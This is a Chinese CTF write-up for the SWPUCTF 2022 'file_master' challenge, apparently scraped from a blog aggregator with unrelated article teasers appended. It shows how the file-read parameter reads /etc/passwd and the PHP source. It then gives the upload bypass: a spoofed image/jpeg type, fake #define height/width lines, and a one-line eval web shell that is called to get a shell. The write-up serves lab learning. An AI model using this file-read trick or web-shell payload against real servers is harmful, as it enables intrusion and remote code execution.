NSS [SWPUCTF 2022 新生赛]file_master

ops/2024/10/18 12:29:15/

CTF_2022_file_master_0">NSS [SWPUCTF 2022 新生赛]file_master

开题,一眼文件上传。

image-20230930170823112

network看看返回包。后端语言是PHP。

image-20230930170941967

除了文件上传还有个查看文件功能。

image-20230930171125918

起手式查询/etc/passwd,发现查询方法是GET提交参数,后端使用file_get_contents()函数包含文件。同时有open_basedir配置项限制PHP可访问的目录。

image-20230930171433902

我们尝试用伪协议读取文件源码。index.php

?filename=file:///var/www/html/index.php

image-20230930171621910

php"><?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';}
?>

有了源码直接变成白盒文件上传。分析一下源码,比较重要的四个点如下:

image-20230930184447294

起手式上传.php然后抓包尝试绕过题目对文件属性和内容的过滤。

Content-Type: image/jpeg内容:
#define height 19
#define width 19
<?= @eval($_POST[1]);?>

image-20230930172810956

image-20230930185128301

上传成功后访问/upload/2kduk0uasdqn4bssun6b3kqumr/myshell.php。直接getshell。

image-20230930185353647


http://www.ppmy.cn/ops/92039.html

相关文章

如何确保工业交换机电源安全运行

在现代工业自动化和智能制造中&#xff0c;工业交换机作为网络通信的重要设备&#xff0c;其电源的安全运行显得尤为重要。为了确保工业交换机在各种恶劣环境下的稳定性与可靠性&#xff0c;我们需要采取一系列的措施和策略。首先&#xff0c;选择高质量的电源设备是基础&#…

机器学习·L3W1-聚类和异常检测

Kmean聚类 初始化聚类中心(随机选择)更新类别计算新的聚类中心 随机选择样本点作为聚类中心 K个聚类中心的情况 randidxnp.random.permutation(X.shape[0])initial_centersX[randidx[:K]]更新类别 公式是计算每一个聚类中心和当前样本的距离&#xff0c;挑选一个最短距离作为…

机械学习—零基础学习日志(高数23——无穷小运算)

零基础为了学人工智能&#xff0c;真的开始复习高数 这段时间&#xff0c;把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…

探索 Go 语言的 json 库

在 Go 语言中&#xff0c;json 包是一个用于处理 JSON 数据的原生库&#xff0c;它能够将 JSON 数据编码和解码为 Go 的原生类型。以下是对 json 包中一些核心方法的介绍和示例。 1. Unmarshal 方法 Unmarshal 是 json 包中最常用的方法之一&#xff0c;它将 JSON 编码的数据…

二进制分组背包优化

前言&#xff1a;好久没有写分组背包了&#xff0c;写一个二进制优化的背包练练手 #define _CRT_SECURE_NO_WARNINGS #include<bits/stdc.h> using namespace std;#define int long long int n,w; const int N (int)1e7; struct node{int value,weight; }sto[N]; int d…

go之依赖注入框架wire

一、wire Wire 是一个代码生成工具&#xff0c;它使用依赖注入自动连接组件。 二、快速使用 2.1 引入依赖 go get github.com/google/wire go install github.com/google/wire 2.2 demo教程 2.2.1 结构体定义 type A struct { }type B struct { }type AB struct {a Ab …

翰德恩赋能中国邮政信息科技产品创新系列培训

为了增强中邮信科公司需求分析工程师的专业素养&#xff0c;提升其业务需求和业务价值的挖掘能力&#xff0c;进而设计并交付满足用户期望的产品&#xff0c;提升用户体验&#xff0c;运营管理部于2024年4月至6月成功举办了六期需求分析工程师能力提升系列培训。 本次系列培训…

NLP——文本预处理-新闻主题分类案例

案例说明 1. 关于新闻主题分类任务 以一段新闻报道中的文本描述内容为输入, 使用模型帮助我们判断它最有可能属于哪一种类型的新闻, 这是典型的文本分类问题, 我们这里假定每种类型是互斥的, 即文本描述有且只有一种类型. 1. 数据文件预览 """ 文件说明: tr…